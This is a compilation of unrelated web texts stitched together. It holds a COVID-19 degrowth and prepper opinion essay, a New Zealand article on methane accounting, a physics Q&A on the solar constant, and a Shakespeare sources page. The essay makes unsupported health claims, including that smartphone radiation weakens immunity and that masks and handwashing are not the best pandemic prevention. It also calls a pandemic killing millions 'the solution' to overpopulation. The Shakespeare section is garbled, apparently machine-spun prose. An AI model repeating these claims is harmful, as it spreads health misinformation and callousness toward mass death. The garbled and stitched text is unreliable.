The Russian army is flying medical help to Italy. At least three giant Il-76 military planes landed in Pratica di Mare military airbase near Rome after receiving an order from President Vladimir Putin. Six more planes as well as trucks with medical specialists, testing, and disinfecting equipment are on the way.
Cuba dispatched a 52-strong team of doctors and nurses to Italy after the worst-affected region, Lombardy, asked for immediate assistance. This is the sixth medical brigade Cuba has sent in recent days to combat the spread of the disease abroad. It has sent contingents to allies Venezuela and Nicaragua as well as to Jamaica, Suriname, and Grenada.
Cuba also allowed coronavirus-stricken British cruise ship MS Braemar to dock in Havana, so that British passengers, confined on the ship for days, were able to disembark and fly home. A number of other Caribbean countries, including the Bahamas and Barbados, refused.
Cuba has developed and produces a number of medicines including the anti-viral drug Interferon Alpha 2B, which could save thousands of lives in the pandemic. The medicine is also produced in China in a Cuban-Chinese joint venture and so far has managed to effectively treat and cure more than 1,500 coronavirus patients.
China just delivered the first 2000 testing kits to Syria.
The USA expanded and tightened sanctions against Iran, Venezuela, and Syria, making the delivery of medicine and medical equipment from Western nations impossible. It will not make much difference, because solidarity or even compassion in not in the playbook of Western international relations. If Italy’s pleas for help were ignored by its Western allies, why should Iran, Venezuela, and Syria be treated any better?
Industrialization dead end
Whilst contagious diseases have always been a part of the human experience, the expansion of industrial civilization has inexorably amplified the risk of epidemics and pandemics.
Uncontrolled industrial expansion also dangerously heats the planet and drives the collapse of ecosystems worldwide. Experts like Professor Jem Bendell and philosopher Rupert Read have argued that societal collapse is near inevitable and that up to 6 billion people could die.
A slowing economy is a lower-carbon economy. In China, coronavirus slowed industrial production, prompted longer holidays, and led to the introduction of travel restrictions, all of which resulted in lower CO2 emissions: China’s emissions are down by a quarter, or 100 million metric tons. Nitrogen dioxide emissions, produced mainly by diesel vehicles, dropped even by 40 percent.The decrease in output means less material is being shipped across the world, and less disposable products are ending up in landfills.
A preliminary calculation by a US expert suggests that tens of thousands of premature deaths from air pollution may have been avoided by the cleaner air in China, far higher than the coronavirus death toll.
The sort of precipitous and unmanaged decline which coronavirus has forced on global economies can devastate people’s livelihoods and living standards. However it is possible to implement such measures in a steady way, and forge societies less dependent on industrial production that not only protect livelihoods but simultaneously increase citizens’ well-being. This is what economists and sustainability experts call degrowth: a “phase of planned and equitable economic contraction in the richest nations eventually reaching a steady state that operates within Earth’s biophysical limits.”
While coronavirus has resulted in a very sudden scale-down in industrial production due to a public health emergency, living through this spasm may allow citizens to imagine, and policy-makers to plan, how it is possible to live differently in response to the ecological emergency. Reducing economic activity and industrial output is a means to enable global ecosystems to regenerate.
The religion of permanent growth
The strategy of “flattening the curve,” of slowing the spread of the virus so that the healthcare system isn’t overwhelmed, could bring the mortality rate down by matching healthcare need to capacity. Implied in the structure of the now applied economic stimulus packages is not more than a couple of weeks at home watching TV shows, YouTube, or social media sites, and then it’s back into the rat race.
But this is a low probability outcome. Experts anticipated a 18 months duration of the pandemic, if effective action to mitigate is taken, which means that a radically changed world will emerge after we have gone through this.
Angel Gurria, OECD secretary general, said economies were already suffering a bigger shock than during the 9/11 terror attacks or the 2008 financial crisis.
He said: “And the reason is that we don’t know how much it’s going to take to fix the unemployment because we don’t know how many people are going to end up unemployed. We also don’t know how much it’s going to take to fix the hundreds of thousands of small and medium enterprises who are already suffering.”
Mr Gurría called on governments to rip up borrowing rules and “throw everything we got at it” to deal with the crisis. However, he warned that bigger deficits and larger debt piles would also weigh on heavily indebted countries for years to come.
When bureaucrats, economist, and politicians speak about securing jobs, what they really mean is securing profits. It’s not about worker’s happiness, it’s about shareholder happiness.
Workers in car factories have to keep the production lines going. Volvo announced that it is back to normal in China, but had to close EU and US car plants. GM, Ford, Fiat Chrysler, Nissan only closed their US plants after wildcat strikes and walkouts.
Starbucks workers, including those with dry coughs and those just off international cruises, were told they couldn’t take paid sick leave, despite what one may have read about Starbucks’ policies, because those policies require proof of a positive test result for coronavirus or proof that the employee had been directly exposed to someone who’d been specifically diagnosed with coronavirus. Workers were told they’d get paid leave if the company would shut down their whole store; but an employee told journalists that when their mall location was shut they were just reassigned to another one nearby.
The synchronized shutdown of heavy industry in Europe and the USA is unlike anything seen since the 1930s, and the economic and social crisis, which began with the shutdown of a significant portion of China’s economy and the disruption in the global supply chain, has now spread around the world as restaurants, retailers, airlines, public schools, and factories close or sharply curtail operations.
For the second time in little over a decade, the world economy is in a state of breakdown, this time on a far greater scale than 2008-09. Investment bank Goldman Sachs expects the US economy to contract by an unprecedented 24 percent in the second quarter of the year (April-June), as production and service industries grind to a halt. This would be the largest quarterly contraction in US history, far surpassing even what took place during the Great Depression. Then the jobless rate peaked at 24.9 percent in 1933. According to Moody’s Analytics, nearly 80 million jobs (more than half of US jobs) are at risk due to the coronavirus.
There will be also a vast expansion of underemployment as working hours and wages are reduced. With half of US adults living paycheck to paycheck and 53 percent reporting that they don’t have savings that cover at least three months of expenses, the loss of a job means destitution.
While the pandemic has triggered the crisis, the causes of the economic breakdown lie far deeper. The process of financialization (the systemic and unrestrained separation of the accumulation of staggering levels of wealth from real productive activity) created a massively unstable global economy, based on the unlimited transfusion of liquidity by the central banks (i.e., quantitative easing) to drive up the equity markets to ever more unrealistic and unsustainable levels.
So, here we are again being told by the in 2008-09 bailed out that the governments have to bail out corporations and the rich to save the economy.
Up to this point, the US government has spent less than 10 billion US$ on emergency disaster relief related to the pandemic, while the US Treasury has purchased some 600 billion in securities in recent weeks, meaning it has spent 60 times more money propping up the banks than on addressing the healthcare crisis. Right now a bill is stuck in Congress, expected to cost 1.8 trillion US$ or more. Less than 50 billion US$ of the bill funds emergency measures to combat the pandemic. Just one company, Boeing, is demanding a bailout larger than every public health measure contained in the bill.
This is the American way. While the US military is wildly overfunded, the healthcare system is starved and structured to let people die at a politically acceptable pace. During a crisis, a hierarchy of privilege is set in motion: First, save the wealth of the rich through bailouts. Second, secure the rights of corporations to profit from catastrophe. Last, save just enough citizens to uphold the illusion of a still valid social contract.
The Federal Reserve (US central bank) just announced open-ended QE (quantitative easing) to keep the markets functioning. In addition to that, the Federal Reserve will buy more bonds to calm markets and will buy corporate debt in a series of emergency lending programs. As usual: Socialisms for the rich, capitalism for the poor. To protect jobs and wages, they say, when in reality it’s to protect profits, shares, and other financial assets of the billionaires.
All this bailout money is fiat money, created with a few computer clicks and not secured by any real assets. It just will increases the debt burden. The US official budget deficit has reached a trillion US$. US national debt is 23 trillion US$. Household debt in the fourth quarter of 2019 rose 4.4 percent. Student debt increased to 1.60 trillion US$, auto loans rose to 1.3 trillion US$, while credit card debt rose to a record 930 billion US$. In 2019, the USA paid 600 billion US$ just on debt interest, nearly 9 percent of its total spending.
Many industrial countries are in a similar predicament. Italy has a debt-to-GDP ratio above 130 percent and Italian banks are vulnerable (Monte Dei Paschi Di Siena). This will become an unsolvable problem for the ECB (European Central Bank).
The Dollar is still strong, it is still the reserve currency, it is still the “petrodollar,” but one day lenders will realize that debt which cannot be payed will not be payed. Then the bond market will unravel, the derivatives will unwind, the global financial system will crash and come to an end.
Pandemic capitalists
SARS-CoV-2 might be destroying the economy and kill millions, but in crisis there is also opportunity. Top US congress members — including Republican senators Richard Burr, Kelly Loeffler, and Democratic Senator Dianne Feinstein — dumped exposed shares while at the same time hiding the severity of the pandemic from the population.
The most blatant and criminal example of insider trading came from the Senate’s newest member Kelly Loeffler, who was appointed to fill a vacancy this year. Loeffler is worth an estimated 500 million US$, in large part due to her role as former executive and stockholder at the ICE (Intercontinental Exchange). Between January 24 and February 15, Loeffler dumped stock jointly owned between her and her husband worth between 1.3 and 3.1 million US$.
There is also opportunity for Joshua Kushner, brother of Jared, son-in-law and senior advisor to President Donald Trump. Joshua is the co-founder of Oscar Health, a huge medical company that this week launched a test center locator for SARS-CoV-2, where users input their data and are directed to one of many locations where they can receive a test. It is highly likely that medical companies will be later reimbursed by the government for any services they provide.
Industrial agriculture dead end
Factory farms, which raise billions of animals per year in squalid, cramped, and unhygienic conditions, are ideal breeding grounds for infectious diseases. The deadly 2009 swine flu pandemic sprang out of a massive pig farm in Veracruz, Mexico, where hundreds of pigs died in an outbreak that eventually moved into people.
Mandy Carter, Global Senior Campaign Manager at Compassion in World Farming, said: “Intensively farmed animals live in crowded, barren conditions deprived of even the most basic natural behaviors. Given the number of animals involved and their lifelong suffering, factory farming is one of the biggest causes of animal cruelty on the planet. And not only does it harm animals — it hurts the natural world and us too.”
Wendy Orent, the author of “Plague: The Mysterious Past and Terrifying Future of the World’s Most Dangerous Disease” writes: “If we want to forestall the evolution of ever-newer, and possibly deadlier, human-adapted viruses, live animal markets must be permanently shut down … until factory farms housing millions of animals are eliminated, until we take the inevitable logic of disease evolution into account, novel and potentially deadly, human diseases will continue to arise. Again. And again. And again.”
Factory farmed animals are fed feed like soy or corn, grown on exhausted soil with a vast input of chemicals (nitrogen, phosphorus, potassium fertilizer, pesticides, and fuel for farm machines). Feed is also grown in the last remaining habitats of the world’s wild animals (Amazon rainforest, Indonesian and Congo Basin rainforests). Factory farming animals is increasingly seen by scientists, health experts, and opinion leaders as an abomination that has to be stopped.
Urbanization dead end
Maybe humans shouldn’t have tried to organize themselves into groups exceeding the Dunbar number, which anthropologist Robin Dunbar showed was about 150 people, the size of hunter-gatherer groups. Dunbar also showed that’s roughly the size of groups in which human beings are comfortable today.
More and more people live in cities and eat food that has been industrially-produced elsewhere and trucked, flown, or shipped in using fossil fuels. Intensive food production and perpetual long-distance shipping makes the spread of diseases more likely. Furthermore, the loss of nature and the increase of monocultures enable disease pathogens to thrive.
The more urbanized and industrialized a country becomes, the more trash it produces. The rapid rate of urbanization has exacerbated waste management in big cities, and, according to a UN report, their public waste systems often can’t keep up with the sprawling growth of suburbs. The world’s 27 megacities produce 12 percent of global waste, as a PNAS study from 2015 found.
According to the Global Footprint Network, “In many countries, one or two major urban centers are major contributors to the national Ecological Footprint and also run significantly higher per capita footprints than the average for their nations.”
There’s no doubt that cities provide more job opportunities than rural places, more entertainment, and more distraction. But city dwellers are also completely dependent on communal services (which may fail in a crisis), fossil fuels, supermarkets, and detached from nature.
Small remote villages can be based on small-scale agroecology, co-ops, and neighborhood collaboration — such schemes are difficult or even impossible in cities.
Higher population density means easier spread of contagious diseases and the health damage inflicted on people by long-standing air pollution in cities is likely to increase the death rate from coronavirus infections.
Tourism dead end
With the Diamond Princess now as synonymous with the virus as Wuhan province, the last place people are dreaming of being right now is on a cruise ship, and bookings for the 45 billion US$ a year cruise industry are down 40 percent.
Cruise ships emit extreme pollution in some of the world’s most beloved and fragile ecosystems such as the arctic, Caribbean Sea, and Galapagos Islands. Burning the world’s dirtiest oil (bunker fuel) they pollute the air and cause sickness among coastline communities. The European fleet of the world’s single biggest cruise company, Carnival Corporation, emits 10 times more SOx air pollution along Europe’s coasts than all of Europe’s cars.
Until these giant corporations address their impacts, a drop in bookings for this monstrously polluting sector can only be a good thing in regard of natures health.
Similarly, air travel is down due to coronavirus, declining for the first time since 2009 with an estimated cost to airlines of 113 billion US$ in lost revenue. Campaigners have been calling for limits to air travel for years, highlighting the sector’s massive and increasing climate impact. It seems that the coronavirus is driving the sort of reduction in air travel that lawmakers and the industry itself have thus far failed to enforce. In the face of a climate emergency and political dithering, an overall reduction in unnecessary travel could promote shifts to enhanced local economies that may help avoid the most dangerous runaway climate models.
Britain’s carrier Flybe has already gone bust and market analysts believe many more could follow. “By the end of May 2020, most airlines in the world will be bankrupt,” market intelligence firm CAPA has warned.
German national airline Lufthansa has drastically cut its flight schedule and grounded 150 planes. It will cancel half of its flights to offset the lack of demand. The Australian flag carrier Qantas will send home two-thirds of its 30,000-strong workforce and suspend all overseas flights from late March to at least the end of May. Ryanair, Europe’s biggest low-cost carrier, will ground almost all of its fleet. SAS will temporarily lay off 10,000 employees — 90 percent of its staff. Norwegian Air will temporarily lay off half of its workforce (7,300 workers) and suspend 4,000 flights.
Globalization dead end
A shock such as the coronavirus pandemic, surges in commodity prices, and disruptions of the global supply chain reveal just how vulnerable the globalized economy on which many of us depend is. For example, if fuel supplies are interrupted, London will run out of food within days. Tim Lang, a Professor of Food Policy says, “It is all on the motorway. We have a just-in-time system of food.”
Massively boosting local food production would slash fossil-fuel emissions and reduce our dependence on this complex and precarious flow of global trade. What’s more, it would make us radically happier too. Our current economic system, which maximizes how much we all work and consume, has failed to translate into a rise in wellbeing. It has created instead a raft of new afflictions, running from obesity and eating disorders to depression and a suicide epidemic in young men.
A future sustainable society would mean most of us working and commuting less, being more involved in our local communities and growing food near to where we live, with more time with our friends and families — all things found to increase human happiness. Helena Norberg-Hodge, the director and founder of Local Futures said: “By shifting towards more localized, diversified food economies around the world, we’d not only reduce the risk of diseases infecting our food supply, but we’d also keep more wealth within communities instead of siphoning it away to multinational corporations. We’d be providing livelihoods for people who are getting squeezed out of jobs by the mania for mechanizing and centralizing food production. And we’d be pushing back against the climate crisis as well, by reducing the need for fossil fuel-powered global supply chains to get our monocrops from place to place. Local food economies are a win-win from every angle.”
Civilization dead end
Dr. Nafeez Ahmed argues, that the collapse of civilization may have already begun. That human civilization itself is at risk has become an increasingly accepted reality of our times. More than 11,000 scientists from 153 countries have declared a climate emergency warning: chain reactions could cause significant disruptions to ecosystems, society, and economies, potentially making large areas of earth uninhabitable.
The best way to prevent pandemics and avoid the terrible human suffering we are seeing unfold right now is not self-isolation, hand washing, or face masks, but getting rid of our moribund economic, food, and transport systems, and replacing them with structures that put nature and planet first. A world where factory farming and wildlife trade is outlawed; where economic growth is not pursued at all costs; where our capacity to feed ourselves from one day to the next is in our own hands, rather than in the hands of gigantic profit driven multinational corporations.
The coronavirus pandemic and the ecological crisis are linked symptoms of an unjust and unsustainable global system. The steps we can take to prevent another SARS-CoV-2 spreading are the same steps we need to take to tackle the ecological emergency: Living locally, with due respect for our biosphere’s limits and reverence for the precious wild creatures within it. Overall, this virus may be an important signal that human health cannot be treated independently from the health of the natural world; the two are inextricably linked.
Human civilization can protect itself from future shocks and become more resilient by transforming into a society which is in tune and intertwined with the natural world. Degrowing the global economy, respecting and protecting nature, regenerating damaged natural systems, and ending the systematic mistreatment of other living beings are key.
Not the last warning
Mother Nature (Gaia) is fighting back.
One cannot be sure that the planetary emergency of SARS-CoV-2 will change our standards and habits, because, as the saying goes: “old habits die hard.” There are also entrenched interests and networks of power which will not give up their privileged status without a fight.
A paradigm shift may occur if the pandemic takes its worst course, lasting one or two years, killing millions in several consecutive waves, thereby destroying political and economic structures.
This would be painful, cruel, brutal, but it would be the solution to habitat destruction, mass extinction, the poisoning of the biosphere (air, water soil), resource scarcity, and overpopulation.
Yet, even if the pandemic can be brought under control and the old systems be preserved, as long as people live crammed into cities, as long as people and goods are moved across wide distances, as long as multinational corporations carelessly exploit natural resources, devastating wide areas, and as long as nations wage wars, new diseases will emerge and further pandemics will show humans who the real master of the world is.
There is another viral outbreak that Chinese authorities and farmers have been battling for eighteen months: African Swine Fever, which throughout 2018 and 2019 devastated pig populations in both the PRC and surrounding countries.
Ebola in the DRC (Democratic Republic of Congo) may have been eradicated for now. More than 2,200 people died, but on March 20 Masika Semida, the last patient, was discharged with a document stating that she is healthy again.
MERS-CoV is going on at a low level. In December 2019, Qatar reported three laboratory-confirmed cases. SARS is stopped, there are no cases since 2004.
There are ongoing epidemics of measles in DRC and Samoa, dengue fever in Latin America, cholera in Yemen and Haiti, Hand, foot and mouth disease in Vietnam.
Social distancing, quarantine, a society of hermits — is that our future?
Well, it works for koalas, leopards, moles, orangutans, sloths, wolverines, and bears, but humans are not made for this, they are social animals. Online contacts, video chats, social media, virtual reality (Second Life) are insufficient surrogates for meeting face to face. People will get mad without real life contacts, without touching, feeling, smelling other people. People are in fact mad already, but it could get much, much worse.
Remote little villages, hamlets, communes with less than 150 members (the Dunbar number) are best suited to survive this pandemic. A wide variety of talents and skills among the inhabitants would be great to be as self-sufficient as possible. People with proven immunity could handle the sporadic contacts with the outside world.
It would be more toilsome, more onerous, without the comfort, the amenities and conveniences of todays technology-based life. It could be more gratifying, maybe more fruitful. It would surely be more quiet and peaceful.
Something personal
As an “organic prepper” I prepared since years for an emergency of this kind. Four freezers in the cellar store still half of last years harvest. A stockpile of lentils, beans, and cereals will last half a year.
But half a year is hardly enough, this pandemic could go on for years with one, two, or more consecutive waves, mutations even deadlier that the one which is circulating now, reinfecting people with already weakened immune systems and lungs.
Online shopping is an option, if one quarantines the incoming parcels for one or two weeks, but how long will the online services be available in an economic collapse? Will the savings be worth anything? Will the banknotes be more than a nostalgic memory?
Barter is an option, in fall there will be a lot of fruits and grapes, more than I can consume. At the moment ramson is sprouting everywhere in overwhelming numbers. In the greenhouses there is parsley, rosemary, thyme, garlic, jives, onions. Thyme is one of my favorite herbs for tea, it has also survived outside in this mild winter and I could trade large quantities.
Foraging is an option, though only wild blackberries and wild raspberries are growing in sufficient numbers in the forest. The wild blueberries in the forest sadly have all disappeared in the last years, suffocated by invasive grass.
I have the privilege to grow much of my food in a subsistence garden at the edge of a large forest. The garden is btw. rather a forest garden, with many fruit trees, berry bushes, and grapevines.
Yet, on one side is a huge field. It is fortunately not intensively cultivated, but when the farmer occasionally sprays herbicides, my garden is full of dead bumblebees. When the farmers tractor, big as a battle tank, drives by, everything stinks of diesel fumes.
All this will end when the new coronavirus spreads.
It will spread quickly in the malls, supermarkets, and offices, as the ubiquitous air-condition units and ventilators disseminate germs efficiently. It will spread quickly as people are packed in urban centers and travel long distances in mass transport because of global supply chains, workplace specialization (which makes commuting necessary), global mega-corporations, and tourism. It will spread quickly as human immune systems are compromised by ten thousands of man-made chemicals, most of them untested for their safety, by microwave radiation (smartphones), by an unnatural sedentary lifestyle, pollution of air, water, soil, and unhealthy industrial food.
The farm tractor drives by and I think: This will end soon.”
The farmer will not be able to sell his crop, as global trade is disrupted. If he tries to sell his harvest to locals, nobody will buy it, people will rather buy their food from local organic farmers and gardeners whom they trust. The farmer will find out that his land is worth nothing, because the soil is degraded and poisoned by the agro-chemicals which he poured on it. Without these chemicals nothing will grow and he will go bankrupt. Maybe he can get a job as farmhand on an organic farm.
The coronavirus disaster will not be the last pandemic. There will be other infectious diseases, there will be chaos and everything will change. Globalization, global trade, tourisms, industrial farming, and the industrial production of food will end, among other things.
Good so! |
Net methane: missed opportunity?
Greenhouse gases
Dairy farm environment consultant Steve Cranston welcomes Beef + Lamb NZ’s recently released Environment Strategy but believes it has missed an opportunity to brand New Zealand’s red meat products as ‘warming neutral’.
With an eye on the future, B+LNZ’s strategy was launched last month. In line with Government thinking, this includes carbon neutrality for the red meat sector by 2050 as one of its four goals. Work in this area will see B+LNZ working with red meat farmers in Catchment Communities on greenhouse gas (GHG) emissions, amongst other issues, on the development of a GHG calculator for farmers which is expected to be ready for delivery next year, continuing long-term mitigation options through the Pastoral Greenhouse Gas Research Consortium (PGgRC) and study of on-farm GHG management practices and development of SMART goals for GHG emissions, water quality and so on.
Methane cycle - NZAGRC
Methane is produced by microbes in the fore-stomach of ruminants, from the plants that animals eat. Methane is a relatively short-lived gas that decays back into carbon dioxide with a half-life of around 12 years. But, while methane is in the atmosphere, it makes a powerful contribution to the overall warming effect of GHG because it is much more effective at absorbing heat radiation than carbon dioxide. Source: NZAGRC.
Cranston’s argument is that the strategy uses the current logic for measuring methane, Global Warming Potential (GWP).
In order that gases can be ranked against one another, the United Nation’s Convention on Climate Change (UNFCCC) has adopted the internationally agreed reporting measure Global Warming Potential (GWP), which gives a CO2 equivalent (CO2-eq) rating for GHGs. While methane has a shorter life-span, decades, rather than the main and worrisome GHG carbon-dioxide that remains in the atmosphere for hundreds or thousands of years, it is a more powerful gas absorbing more heat and enhancing the CO2-induced climate warming.
When averaged over 100 years (GWP100), the contribution to climate warming from one tonne of methane is 25 times that of one tonne of carbon dioxide, the UNFCC has determined through the Intergovernmental Panel on Climate Change (IPCC). The GWP100 is the basis on which international treaties are being developed.
However, says Cranston, “This does not take into account the GWP100 metric has no correlation to actual warming.”
In his opinion, this is because the methane is only in the atmosphere for a limited period and is constantly being emitted and degraded simultaneously.
“What drives global warming is the volume of methane in the atmosphere at any one time,” he has written.
Cranston believes there are more advanced and accurate ways of measuring methane and is promoting a ‘net methane’ approach: “This is inflow minus outflow and will directly correlate to warming effect. This is how the government measures carbon dioxide so seems logical to me.”
He points to Victoria University’s professor of climate change David Frame who released a study recently co-authored by himself and colleagues from Victoria, Oxford and Reading Universities in the UK and Norway’s Centre for International Climate and Environmental Research. Cranston believes Frame has created a better way to use the GW100, factoring in the fact stable methane does not cause more warming. Frame’s work suggests that the current GWP100 method of calculation exaggerates the effect of methane emissions on warming.
“It’s a big step forward, but I’m still cautious of this approach. Also, it does not measure inflow versus outflow so cannot be used to prove warming neutral,” says Cranston. He is encouraging red meat farmers to support the Bill in the current consultations, selecting Option 2 (see below), the scenario that he believes will enable them to demonstrate warming neutral.
According to the New Zealand Agricultural Greenhouse Gas Research Centre (NZAGRC), however, keeping methane at today’s levels may not make the climate much worse, but it would not make it better either.
The NZAGRC leads New Zealand’s science input into the Global Research Alliance (GRA) of 50 member countries, which was established to find global solutions to mitigate agricultural GHG emissions.
NZAGRC director Dr Harry Clark maintains the effects of methane inputs in past decades are still being felt. He argues less methane would be better for the climate and, in addition, the goals of the Paris Agreement to keep warming to well below 2°C.
Metrics and targets
Dr Harry Clark
Dr Harry Clark.
NZAGRC acknowledges there are valid criticisms of GWP and that alternative mechanisms have been developed. However, it makes the point that any metric developed for a particular policy purpose has shortcomings with regard to another. While New Zealand could choose to use a different metric for our domestic policy, it would still be expected to translate its overall emissions target into the metric currently used by the UN, namely GWP.
Clark also makes the point that the targets set for GHG reductions by 2050 are very different to the measures used to compare individual emissions from year to year.
“A long-term target is where we want to get to; a metric is a tool that helps us get there,” he says.
Following advice given to the then National Government by Parliamentary Commissioner Dr Jan Wright in 2016, and continuing with the new coalition Government, New Zealand is moving to establish an independent Climate Change Commission, through a Zero Carbon Act. This will also set targets for 2050, including reducing the long-lived GHGs carbon dioxide and nitrous oxide and stabilising the short-lived methane.
Consultations recently opened on the proposed Zero Carbon Bill, which will lead ultimately to a decision by New Zealand’s Parliament on the path to take to tackle this country’s GHGs. This presents three broad scenarios for 2050 targets for New Zealanders to consider: 1) net zero carbon dioxide by 2050 which would reduce carbon dioxide emissions to zero by 2050, but not set a target for other gases like methane or nitrous oxide; 2) net zero long-lived gases (mainly carbon dioxide and nitrous oxide) and stabilisation* of short-lived gases (mainly methane) by 2050; and 3) net zero emissions by 2050, which would reduce net emissions across all GHGs to zero by 2050.
*NZAGRC notes ‘stabilisation’ could mean reducing methane emissions to a level lower than today.
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I think that the energy flux is given by:
Where $\mathcal{k}$ is the Boltzmann constant, $\text{T}$ is the surface temprature of the sun, $\text{R}$ is the radius of the sun and $\text{D}$ is the distance from the sun to the earth.
Now, for $\text{D}$ we know that is changes over a year because the earth makes a elliptical orbit around the sun.
Question: Is my formula right?
• $\begingroup$ $\frac{\pi R^2}{\pi D^2}$ is fine, however, the flux is not $k T^4$. Try to take total energy produced by the Sun instead of $k T^4$. Or include Sun surface. $\endgroup$ – jaromrax Mar 3 '17 at 14:54
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$\begingroup$ Why don't you consult a textbook (Stefan-Boltzmann Law) before posting such a question here? $\endgroup$ – freecharly Mar 3 '17 at 16:58
Your formula for sure has wrong units. Usually, energy flux has units of $\text{W} = \frac{\text{J}}{\text{s}}$, maybe $\frac{\text{W}}{\text{m}^2} = \frac{\text{J}}{\text{m}^2\text{s}}$.
The $G$ you define on the other hand has units of $\text{J}\text{K}^3$, which doesn't fit the standard unit definition.
You may be thinking about the Stefan-Boltzmann law, where for a blackbody we have $$ P = \sigma \cdot A\cdot T^4 $$ with $P$ the radiated power, $A$ the surface area, $T$ the temperature and $\sigma ={\frac {2\pi ^{5}k^{4}}{15c^{2}h^{3}}}=5.670373\times 10^{{-8}}\,{\mathrm {W\,m^{{-2}}K^{{-4}}}}$.
• $\begingroup$ The units I need are $\text{W}/\text{m}^2$ $\endgroup$ – treq Mar 3 '17 at 14:40
• $\begingroup$ @treq What are you trying to calculate? You are mentioning the sun and earth, so I assume you want to get to the Solar constant (en.wikipedia.org/wiki/Solar_constant). In that case, just divide by $A$ in the Stefan-Boltzmann law. $\endgroup$ – Wojciech Morawiec Mar 3 '17 at 14:51
• $\begingroup$ The thing I mean is that: $$\text{G}=\sigma\cdot\text{T}^4\cdot\left(\frac{\text{R}_\text{sun}}{\frac{\text{p}}{1+\epsilon\cos\left(\theta\right)}}\right)^2$$ $\endgroup$ – treq Mar 3 '17 at 14:53
• $\begingroup$ Where I used kepler's law, is that correct? I try to calculate the sunconstant $\endgroup$ – treq Mar 3 '17 at 14:53
• $\begingroup$ @treq Yes, that is correct. Do you see that in your question you have written $k$ where it should be $\sigma$? The $\sigma$ is correct, as you can see by my and your formula. $\endgroup$ – Wojciech Morawiec Mar 3 '17 at 14:54
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Sorces of shakespeare's plays
back Othello Henry IV, Part I The Merchant of Venice
Shakespeare's sources
- By Vishal Agrawal
Othello was inspired from many sources, primary of them being Hecatommithi. Here is a summary of sources shakespeare has possibly taken inspiration from:
Name of The Source
Author Of The Source
Giovanni Battista Giraldi(Cinthio)
Histoires Tragiques
Naturalis Historia
Pliny the Elder
A Geographical History of Africa
Leo Africanus
Hecatommithi is a short story by Giraldi Cinthio's Hecatommithi of 1565/6 by the name of 'the seventh novella in the third decade'. Hecatommithi is accepted to be Shakespeare's main hotspot for Othello. In the Arden release of Othello, E.A.J. Honigmann makes an immediate correlation between Cinthio's work and Shakespeare's play by setting both writings next to each other to demonstrate the likeness between the two. In the New Cambridge Shakespeare Othello Norman Sanders demonstrates how Cinthio was a hotspot for various early present day plays, including Robert Greene's James the Fourth.
HHonigmann and Sanders support their statement about Shakespeare's source content with proof of particular subtle elements which indicate Shakespeare's commonality with Hecatommithi. For example, Othello incorporates unusual words and expressions which are utilized as a part of Cinthio's content and not in the French interpretation by G. Chappuys. Case of these include: "acerb" 'olestation', and 'ocular proof'. There is similarly confirmation to suggest that Shakespeare was also acquainted with the Chappuys' French version of the content, with the use of particular expressions: 'heart pierced', 'take out the work', and "touch" It is conceivable that there was a,now lost, English translation which utilized both the Italian and French as sources. This is especially likely given Lodowick Bryskett, a well-known interpreter, had translated many of Cinthio's works prior and then afterward Othello's composition. Honigmann along these lines argues that ''a translation of Cinthio's story of the Moor of Venice could have reached Shakespeare in manuscript'.
The majority of the characters and plot of Othello were taken from Cinthio. However there are numerous differences. For instance the start of Othello is an elaboration of a single line in Cinthio, specifying that Disdemona's family did not endorse of her match with the Moor. Shakespeare utilizes the primary demonstration to present Brabantio, Desdemona's upset father, and to show us Iago's control of Brabantio and Roderigo, a character who does not show up in Cinthio's. Another essential expansion is Othello's capacity of his utilization of stories about his voyages and deeds in seeking Desdemona. This highlights both Othello's strength and his delicate and melodious side, to which he will at last himself demonstrate vulnerable. Shakespeare's extension of Cinthio's brief prologue to the main characters along these lines sets the scene for the perplexing psychological drama that is to take after.
Shakespeare additionally changed subtle elements of Cinthio's plot. For example, in Cinthio the majority of the action takes place in Cyprus; and the Corporal ('capo di squadra' in Italian), who gets to be Cassio in Othello, recognises Disdemona's cloth and endeavors to return it to her. Also Shakespeare adjusts Cinthio's ending, in which the Ensign (who gets to be Iago in Othello) is the person who, with the Moor's assent, beats Disdemona to death. Shakespeare's characters are more complex than Cinthio's, and frequently at odds with themselves. For instance, while Cinthio's Ensign is inspired basically by baffled lust, Iago is angry and skeptical, asserting to favor increase to energy, but then, as the play goes on, carries on in a way that is both fanatical and uncontrolled.
Other sources
Other conceivable sources for Othello include an account of spouse murder inspired by desire, set amid the Turkish wars, from Belleforest's Histoires Tragiques (1561), showing up in English in Certaine Tragicall Discourses of Bandello, deciphered by Geoffrey Fenton (1567). Sources like these could have furnished Shakespeare with plot components; others he tapped into to improve the foundation and clear detail of Othello. Pliny the Elder's Naturalis Historia, in English called The historie of the world: Commonly called, the Natvrall historie of C. Plinivs Secundvs, translated into English by Philemon Holland, specialist in physicke (London: Islip, 1601), outfitted portrayals of the weird and mysterious spots Othello mentions, where 'cannibals that each other eat,/ The Anthropophagi, and men whose heads/ Do grow beneath their shoulders'.
The sixteenth-century struggle between Christian Europe and the Ottoman Empire gave the foundation to Othello. One conceivable source was Richard Knolles, who in The Generall Historie of the Turkes (1603), related the endeavors of the Venetians to guard the affluent and "charming" island of Cyprus against the "gallies" and "galliots" of the Turkish armada. The Battle of Lepanto, in 1571, between the 'Holy League', of which Venice was a part, and the Ottoman armada, in which the Spanish author Miguel de Cervantes fought for the Christian organization together, was deified in poetry by James VI and I in 1585. The poem was republished in His Maiesties poeticall practices at empty Houres (Edinburgh: Robert Walde-Graue, 1591), annexing a French translation by Du Bartas. James included rousing portrayals of fight : 'Whill time a Turk with arrow doth,/ Shoot through a Christians arme,/ A Christian with a Pike dooth pearce/ The hand that did the harme' (Lepanto, ll. 716-19). This reviews Othello's memory of destroying a 'turbanned Turk' who 'beat a Venetian' amid a fight . Shakespeare's knowledge of the wars would have been advanced by sources like these, and his wide reading lent liveliness and verisimilitude to the setting of his play.
Primary References
Shakespeare's sources
- By Gyanesh
Three sources were particularly important for the creation of Henry IV, Part 1.
Shakespeare used many sources for Henry IV, part 1. Some of them have been discussed below.
Name of The Source
Author Of The Source
The Third Volume of Chronicles (1587)
Raphael Holinshed
The First Fowre Bookes of the Ciuile Warres between the Two Houses of Lancaster and Yorke (1595)
Samuel Daniel
The Famous Victories of Henry the Fifth (1598)
The Prince
Niccolo Machiavelli
